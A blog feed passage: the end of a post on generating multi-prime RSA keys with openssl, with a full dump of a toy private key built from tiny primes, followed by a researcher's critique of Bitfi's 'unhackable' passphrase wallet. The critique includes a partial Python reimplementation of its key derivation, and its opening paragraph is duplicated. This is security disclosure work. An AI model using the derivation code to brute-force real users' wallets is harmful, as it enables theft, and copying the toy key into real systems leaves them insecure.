'/CN=test' $ openssl x509 -signkey multi.key -in multi.csr -req -days 999 -out multi.crt Signature ok subject=CN = test Getting Private key $ openssl verify -CAfile multi.crt multi.crt multi.crt: OK $ openssl rsa -noout -text -in multi.key RSA Private-Key: (1472 bit, 6 primes) modulus: 00:aa:98:6c:52:74:cf:48:d3:13:3c:5d:42:35:c2: e0:d7:f2:62:ef:41:e5:bc:bc:bb:d5:44:28:b4:c2: 51:52:3e:80:b4:92:17:e2:e0:e6:34:de:f5:37:95: 7c:78:70:7a:71:a2:00:64:9f:7a:15:e0:d0:73:9e: b7:95:70:45:c8:6b:0f:01:2b:48:9a:97:2e:f2:78: e4:19:14:8f:53:82:59:5c:5d:7c:a7:fc:02:a5:a4: 03:3a:7a:d7:40:e4:fc:6b:aa:e7:6f:a9:a9:2d:78: 8e:33:c6:0b:c0:a6:b9:32:3e:47:a0:53:8d:91:45: 2d:bd:72:ed:48:49:b6:5d:98:8d:f7:cd:2d:6b:2f: a5:02:96:b3:92:e6:77:11:52:6b:8a:f0:70:85:ba: ab:e2:73:58:6b:da:4b:21:84:7f:9f:05:b0:06:6f: 9e:f8:83:24:31:f1:b7:95:6a:5c:32:22:14:2c:47: 09:40:40:cb:bf publicExponent: 01:00:01:b7:02:e0:7a:d7:1c:d6:8e:e8:4a:58:f7: 92:eb:c8:db:27:0b:0d:d2:25:61:27:18:1f:c2:1c: db:6f:38:46:92:3d:dc:a2:d3:e7:a2:76:8b:28:56: bd:25:97:c1:4d:43:c7:5d:d0:27:68:91:d3:b2:c5: 98:0e:d6:57:c6:3e:a2:ba:a8:70:94:6b:30:77:db privateExponent: 00:8c:ea:a5:ac:1a:12:53:1b:28:5b:75:0a:85:cb: d0:4b:48:2c:cb:c3:16:bf:72:10:c0:6b:eb:8e:2b: 1a:63:d3:d2:3f:4e:ac:72:04:8a:83:cc:e8:a8:05: e4:76:04:aa:64:3a:02:90:fa:f4:d2:6d:dc:5b:a7: ff:8e:a1:d9:6f:81:8a:56:d8:dc:cd:b0:64:ff:5f: 73:b0:9d:fb:8b:72:91:39:e3:7f:84:5c:c3:d1:6e: 4a:f0:be:7e:d0:40:31:e2:06:5f:5c:72:74:88:9b: ff:6c:1a:2e:1e:b4:b6:3c:9f:32:57:5c:96:10:67: c3:a6:7b:06:44:a3:ca:4a:2d:d4:76:f3:98:9e:61: f5:6e:55:8e:fa:d6:26:e8:b8:5d:d6:4a:9f:21:21: 60:fc:59:d5:d6:cc:58:c1:9d:9f:89:d0:b3:f1:ad: b2:3d:d9:d0:45:b0:c1:3d:46:5e:e8:86:68:bb:02: 5d:ce:5c:ac:53 prime1: 223 (0xdf) prime2: 373 (0x175) exponent1: 205 (0xcd) exponent2: 319 (0x13f) coefficient: 168 (0xa8) prime3: 505511 (0x7b6a7) exponent3: 201953 (0x314e1) coefficient3: 141986 (0x22aa2) prime4: 62264393819 (0xe7f3f405b) exponent4: 34891590717 (0x81fb36c3d) coefficient4: 15148084064 (0x386e56b60) prime5: 692091200694401 (0x275740a2b6881) exponent5: 552465485917523 (0x1f676e509ed53) coefficient5: 78237913099958 (0x47282f04aeb6) prime6: 7d:25:8e:35:a8:57:b2:4b:8c:56:6b:67:85:e0:bd: 03:61:a8:9c:ab:50:dc:a2:25:61:0f:c8:af:7d:0f: 51:f3:24:11:26:3c:e9:2f:0f:c7:1e:9b:96:7e:d3: e0:56:38:1e:48:de:df:11:e6:bf:8e:86:8a:3a:d8: d4:ec:9b:a9:7e:b7:f2:84:0e:c3:f3:3c:e7:bb:69: fd:6e:db:1e:07:58:35:ae:de:b1:e6:82:12:61:73: 87:18:e7:e8:d5:31:0f:59:f1:05:b7:32:21:ef:cd: 28:6c:56:4e:fa:be:67:02:c2:2a:ed:24:8c:8d:56: d5:12:ee:49:05:74:a3:ac:7d:d1:01:07:25:c2:ff: ba:07:10:f5:26:14:41:07:8b:c8:e7:fc:96:d2:81: 24:b6:3b:a5:7d:ae:15:f5:34:b9:73:b5:af:05:70: 5e:69:d0:21 exponent6: 54:7c:0f:4c:e7:e2:e5:2e:9d:54:dd:25:cf:39:f5: ca:a4:3a:90:a7:69:87:de:ad:9c:e8:be:e8:98:60: b0:22:0c:50:f3:74:25:9a:e4:04:b2:19:56:74:95: ed:0c:65:c2:a9:4b:dc:f2:87:d1:b3:59:c6:9f:28: 88:a8:0a:85:61:53:46:90:b1:3c:14:9f:d4:33:b3: b0:05:27:a0:9c:93:c7:65:30:76:d7:59:01:8d:f1: b8:6d:c2:b4:34:1d:10:67:ef:b9:d0:f1:64:62:d9: 8f:78:8a:f2:fc:84:9b:55:dd:dd:b6:a7:e3:21:df: 00:9c:03:4c:89:0a:66:52:4f:0d:ae:d4:cc:2d:79: 5b:81:f6:4a:bb:82:c8:bc:5c:51:fc:9f:91:d3:6f: ec:0e:43:af:98:3f:90:bb:8b:db:bd:de:b6:6e:04: c3:bc:73:93 coefficient6: 4a:9c:ed:70:1f:c7:4b:f4:0b:e0:32:a5:db:f5:07: 13:88:25:e9:c0:21:16:a2:09:5d:a6:db:00:c9:b2: 5e:63:90:b7:a1:0f:aa:60:ed:39:fd:3a:2b:ab:21: c9:c8:d6:ab:e0:40:e9:29:fa:b4:84:11:6a:a8:f2: 2f:b6:27:6b:5e:50:1a:4b:55:74:83:51:7c:83:91: bf:ce:46:ee:30:76:68:21:71:a3:9d:cd:04:54:41: 24:98:5e:a4:61:c5:0f:b5:5a:24:f8:d1:3a:39:21: ce:af:a8:33:e0:0a:ee:dd:7d:21:b5:e6:e8:f8:32: 5d:59:d9:09:5e:62:53:82:0c:e8:df:21:76:35:fe: 47:d8:9e:56:e7:a5:2f:45:d2:e0:25:21:1e:da:63: ec:be:fa:f3:47:a0:0a:1b:7b:42:6c:9e:0f:b3:91: 83:f6:38:3f </pre> <p>It works!</p> <p>One thing I did notice when testing is that when using keys with particularly small primes, I&rsquo;d sometimes get errors about &ldquo;no inverse&rdquo;. I&rsquo;m not entirely sure of the cause, but I was able to get around it by retrying operations a few times.</p> </div> Bitfi’s Hardware Wallet is Terrible2018-07-27T08:23:00-07:002018-07-31T11:38:00-07:00ryanctag:rya.nc,2018-07-27:/bitfi-wallet.html<!-- included from `include/globals.rst` --> <p>It recently came to my attention that <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fofficialmcafee">John McAfee</a> has been advertising a cryptocurrency hardware wallet from a company called <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com" rel="nofollow">Bitfi</a>, with the claim that it is “unhackable”. There’s even a <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fbounty" rel="nofollow">$250,000 bounty</a><a id="id1"></a> to hack it. I do not have one of the actual devices in my possession, but from my review of the publicly available “<a class="external" href="proxy.php?url=https%3A%2F%2Fdocs.wixstatic.com%2Fugd%2F9e18eb_6d75d420deeb46f0a31493fde61319df.pdf">source code</a>” [PDF] and their <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.btknox.org%2Fcalculate-your-private-keys">private key calculator</a>, my conclusion is that their product is most charitably described as a “footgun”.</p> <!-- included from `include/globals.rst` --> <p>It recently came to my attention that <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fofficialmcafee">John McAfee</a> has been advertising a cryptocurrency hardware wallet from a company called <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com" rel="nofollow">Bitfi</a>, with the claim that it is &ldquo;unhackable&rdquo;. There&rsquo;s even a <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fbounty" rel="nofollow">$250,000 bounty</a><a class="footnote-reference" href="#id11">[1]</a><a id="id1"></a> to hack it. I do not have one of the actual devices in my possession, but from my review of the publicly available &ldquo;<a class="external" href="proxy.php?url=https%3A%2F%2Fdocs.wixstatic.com%2Fugd%2F9e18eb_6d75d420deeb46f0a31493fde61319df.pdf">source code</a>&rdquo; [PDF] and their <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.btknox.org%2Fcalculate-your-private-keys">private key calculator</a>, my conclusion is that their product is most charitably described as a &ldquo;footgun&rdquo;.</p> <p>Quoting McAfee (who is known for <a class="external" href="proxy.php?url=https%3A%2F%2Fmotherboard.vice.com%2Fen_us%2Farticle%2F3kjpyn%2Fjohn-mcafee-100k-twitter-promote-cryptocurrency-paid">promoting scams</a>),</p> <blockquote> For all you naysayers who claim that "nothing is unhackable" &amp; who don't believe that my Bitfi wallet is truly the world's first unhackable device, a $100,000 bounty goes to anyone who can hack it. Money talks, bullshit walks. Details on Bitfi.com<a class="footnote-reference" href="#id12">[2]</a><a id="id2"></a></blockquote> <p></p> <blockquote> We created a simple, foolproof way to use the brain as the wallet. The Bitfi.com wallet is the transcriber between the inner brain and the outer world of digital currencies. Until someone discovers a means of hacking the brain, your money is safe.<a class="footnote-reference" href="#id13">[3]</a><a id="id3"></a></blockquote> <p>Oh, dear... That sounds terribly familiar. In the lead-up to <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dfoil0hzl4Pg">my talk</a> about cracking these kinds of schemes, Wired published an article about my work literally titled &ldquo;<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.wired.com%2F2015%2F07%2Fbrainflayer-password-cracker-steals-bitcoins-brain%2F">Brainflayer: A Password Cracker That Steals Bitcoin From Your Brain</a>&rdquo;. My talk managed to kill the infamous brainwallet.org site, but the idea of turning a user supplied passphrase into cryptocurrency keys seemingly will not die. I had to take a look at what Bitfi was actually doing.</p> <p>To start with, I had a look at their their <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fbounty">bounty offer</a>:</p> <blockquote> This bounty program is not intended to help Bitfi to identify security vulnerabilities since we already claim that our security is absolute and that the wallet cannot be hacked or penetrated by outside attacks. Rather this program is intended to demonstrate to anyone who claims or believes that nothing is unhackable or that they can hack into the Bitfi wallet, that such attempts are futile and that the advertised claims about the Bitfi wallet are accurate.</blockquote> <p>In other words, the sole purpose of it is to discredit security researchers like myself who raise concerns about the design of their product. This is not a new trick &mdash; it was specifically <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.schneier.com%2Fcrypto-gram%2Farchives%2F1998%2F1215.html%23contests">called out by Bruce Schneier</a> as a red flag nearly twenty years ago. In this instance, Bitfi is calling it a &ldquo;bounty program&rdquo; to try to ride on the coattails of legitimate bug bounty programs, which are generally wide in scope. This one is unfair, falling into exactly the pattern that Schneier described:</p> <blockquote> Most cryptanalysis contests have arbitrary rules. They define what the attacker has to work with, and how a successful break looks. Jaws Technologies provided a ciphertext file and, without explaining how their algorithm worked, offered a prize to anyone who could recover the plaintext. This isn't how real cryptanalysis works; if no one wins the contest, it means nothing.</blockquote> <p>Indeed, you have to be spend $120 on a Bitfi device, and then pay another $10<a class="footnote-reference" href="#id14">[4]</a><a id="id4"></a> to &ldquo;preload it with coins&rdquo; to even try, and then you specifically have to hack the wallet associated with particular the device they send you. If a researcher found, for example, the device had a weak RNG that allowed for key recovery by examining a series of transactions generated by it, they would not win the bounty. Neither would they for finding a way to hijack their automatic update system to install a keylogger.</p> <p>Another point Schneier makes is that often the details of the algorithms used in these sorts of contests are often kept secret:</p> <blockquote> Most contests don't disclose the algorithm. And since most cryptanalysts don't have the skills for reverse-engineering (I find it tedious and boring), they never bother analyzing the systems.</blockquote> <p><a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FKerckhoffs%252527s_principle">Kerckhoffs&rsquo;s principal</a> in essence says that a properly designed system should still be secure even if the attacker knows everything except the key. Here, Bitfi engages in some misdirection, claiming to be &ldquo;open source&rdquo;, however their &ldquo;source code&rdquo; is just a <a class="external" href="proxy.php?url=https%3A%2F%2Fdocs.wixstatic.com%2Fugd%2F9e18eb_6d75d420deeb46f0a31493fde61319df.pdf">PDF</a> largely made of formulas copy/pasted from the description of <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.tarsnap.com%2Fscrypt%2Fscrypt.pdf">scrypt</a> and <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbitcoin%2Fbips%2Fblob%2Fmaster%2Fbip-0032.mediawiki">BIP32</a>. A number of people called them out on this, and in response a comment on reddit, a user going by Bitfi-Team <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.reddit.com%2Fr%2FBitcoin%2Fcomments%2F91azzr%2Fbitfi_hardware_wallet%2Fe2yo2bp%2F%3Fcontext%3D3">replied</a>:</p> <blockquote> We never said we were providing full open source code. We clearly state that our wallet is open source. Just check our website before you spew garbage. But if you want the code, do some math. Don't be lazy.</blockquote> <p>Not inspiring confidence. The PDF does not acknowledge that they&rsquo;re using anything related to scrypt or BIP32, and I had to compare the formulas to verify. Algorithms 5 and 6 in the paper are not clearly described, and for a full understanding I had to resort to decompiling their private key generator tool which was inexplicably hosted on the site of a <a class="external" href="proxy.php?url=https%3A%2F%2Fsunorchard.com%2F">juice company</a>.<a class="footnote-reference" href="#id15">[5]</a><a id="id5"></a> The zip included two DLL files and a Windows executable, which turned out to be a .Net console application written in C#. Despite it having been run through an obfuscator, <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.jetbrains.com%2Fdecompiler%2F">dotPeek</a> was able to give me a good picture of what was going on.</p> <p>The tool displays a dire warning with a scary red background when first started:</p> <blockquote> <p>WARNING!!!! Entering your information on this computer is extremely unsafe and it is very possible that you will lose your money by running this application.</p> <p>Enter Y to continue or any other key to immediately exit and close this program.</p> </blockquote> <p>If you&rsquo;re brave enough to enter <code>Y</code> at this point, it will prompt you to enter a code for the cryptocurrency you&rsquo;re using, the address you want to recover the private key for, your &ldquo;salt&rdquo; (a user selected value, they recommend using your phone number, social security number, or email address<a class="footnote-reference" href="#id16">[6]</a><a id="id6"></a>) and passphrase. The private key will only be printed if the address matches, but that restriction is not inherent in the algorithm. After a few hours, I was able to get a compatible implementation in Python.</p> <p>It&rsquo;s essentially <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbitcoin%2Fbips%2Fblob%2Fmaster%2Fbip-0032.mediawiki">BIP32</a>. with a few modifications (the string &ldquo;Bitcoin seed&rdquo; is replaced with <span class="formula"><i>SHA</i>256(<i>salt</i>)</span>, which is not mentioned in the PDF) and <span class="formula"><i>scrypt</i>(<i>pass</i>, <i>salt</i>, <i>N</i> = 2<sup>15</sup>, <i>p</i> = 4, <i>r</i> = 8, <i>dkLen</i> = 64)</span> to seed the master key. Currency specific subwallets are derived with the BIP32 hardened CKD function using a &ldquo;creative&rdquo; algorithm to generate the subkey id. Again, I don&rsquo;t have a physical Bitfi device, so I can&rsquo;t verify the device itself follows the same algorithm, but this is compatible with the software they have publicly available.</p> <p>Since publication, another researcher has been able to verify that the device generates addresses and keys matching my scripts.</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;sys&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;hmac&lt;/span&gt;</code> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;hashlib&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;scrypt&lt;/span&gt;</code> </td></tr><tr><td class="linenos">5</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;pybitcointools&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt;</code> </td></tr><tr><td class="linenos">6</td><td> </td></tr><tr><td class="linenos">7</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;ci&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;s&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">8</td><td> <code> &lt;span class="pgcssn"&gt;acc&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsss2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">9</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;c&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;s&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;upper&lt;/span&gt;&lt;span class="pgcssp"&gt;():&lt;/span&gt;</code> </td></tr><tr><td class="linenos">10</td><td> <code> &lt;span class="pgcssn"&gt;acc&lt;/span&gt; &lt;span class="pgcsso"&gt;+=&lt;/span&gt; &lt;span class="pgcssnb"&gt;str&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;ord&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;c&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;-&lt;/span&gt;&lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">11</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;acc&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">12</td><td> </td></tr><tr><td class="linenos">13</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;print_address&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;password&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;salt&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;coin&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">14</td><td> <code> &lt;span class="pgcssn"&gt;priv&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;decode_privkey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;hex_compressed&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">15</td><td> <code> &lt;span class="pgcssn"&gt;pub_c&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;privkey_to_pubkey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;priv&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">16</td><td> <code> &lt;span class="pgcssn"&gt;pub_u&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;encode_pubkey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;decode_pubkey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;pub_c&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">17</td><td> <code> &lt;span class="pgcssn"&gt;addr_u&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;pubkey_to_address&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;pub_u&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">18</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt; &lt;span class="pgcsss2"&gt;&amp;quot;Y&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsssi"&gt;%s&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsssi"&gt;%s&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsssi"&gt;%s&lt;/span&gt;&lt;span class="pgcssse"&gt;\n&lt;/span&gt;&lt;span class="pgcsssi"&gt;%s&lt;/span&gt;&lt;span class="pgcssse"&gt;\n\n&lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="pgcsso"&gt;%&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;coin&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;addr_u&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;salt&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;password&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">19</td><td> </td></tr><tr><td class="linenos">20</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;derivekey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;password&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;salt&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;coin&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">21</td><td> <code> &lt;span class="pgcssn"&gt;k_par&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;scrypt&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;hash&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;password&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;salt&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;N&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssmi"&gt;32768&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssmi"&gt;4&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;r&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssmi"&gt;8&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;buflen&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">22</td><td> <code> &lt;span class="pgcssn"&gt;c_par&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;hashlib&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;sha256&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;salt&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;digest&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">23</td><td> <code> &lt;span class="pgcssn"&gt;param&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;hmac&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;new&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;c_par&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;k_par&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;hashlib&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;sha512&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;digest&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">24</td><td> <code> &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;msk&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;mcc&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;param&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssmi"&gt;32&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt; &lt;span class="pgcssn"&gt;param&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;32&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssmi"&gt;64&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">25</td><td> <code> &lt;span class="pgcssn"&gt;master_key&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;bip32_serialize&lt;/span&gt;&lt;span class="pgcssp"&gt;((&lt;/span&gt;&lt;span class="pgcssn"&gt;PRIVATE&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\x00&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;*&lt;/span&gt;&lt;span class="pgcssmi"&gt;4&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;mcc&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;msk&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssse"&gt;\x01&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">26</td><td> <code> &lt;span class="pgcssn"&gt;coin_key&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;bip32_ckd&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;master_key&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;ci&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;coin&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;|&lt;/span&gt; &lt;span class="pgcssmh"&gt;0x80000000&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">27</td><td> <code> &lt;span class="pgcssn"&gt;sub_key&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;bip32_ckd&lt;/span&gt;&lt;span 